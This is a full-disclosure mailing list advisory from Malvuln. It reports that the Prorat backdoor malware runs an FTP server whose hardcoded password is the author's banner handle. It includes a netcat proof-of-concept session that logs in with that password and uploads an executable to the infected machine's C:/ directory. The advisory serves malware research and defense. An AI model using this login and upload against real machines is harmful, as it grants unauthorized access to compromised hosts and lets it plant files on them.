full-disclosure - [FD] Backdoor.Win32.Prorat.ntz / Weak Hardcoded Password

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Message-ID: <CAAHK0WQHRVzTE3aPSV1M-Uaqx3C=HeMaFhOcK5TBn5aC4xQVYA@mail.gmail.com>
Date: Wed, 27 Oct 2021 21:21:20 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Prorat.ntz / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/ab96d7f9e008a0774239be6be0c8e7bb_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.ntz
Vulnerability: Weak Hardcoded Password
Description: The malware runs an FTP server on TCP port 2121. The authors
handle "NeoKurD" displayed in the FTP banner response is reused as the
password, just in lowercase. Moreover, the executable is packed with UPX
and exposes the cleartext credentials when decompressed.
Type: PE32
MD5: ab96d7f9e008a0774239be6be0c8e7bb
Vuln ID: MVID-2021-0382
Dropped files: dxdiag.exe
Disclosure: 10/27/2021

Exploit/PoC:
nc64.exe 192.168.18.125 2121
220 Undetected by NeoKurD
USER neokurd
331 Password required for neokurd.
PASS neokurd
230 User neokurd logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,194,47).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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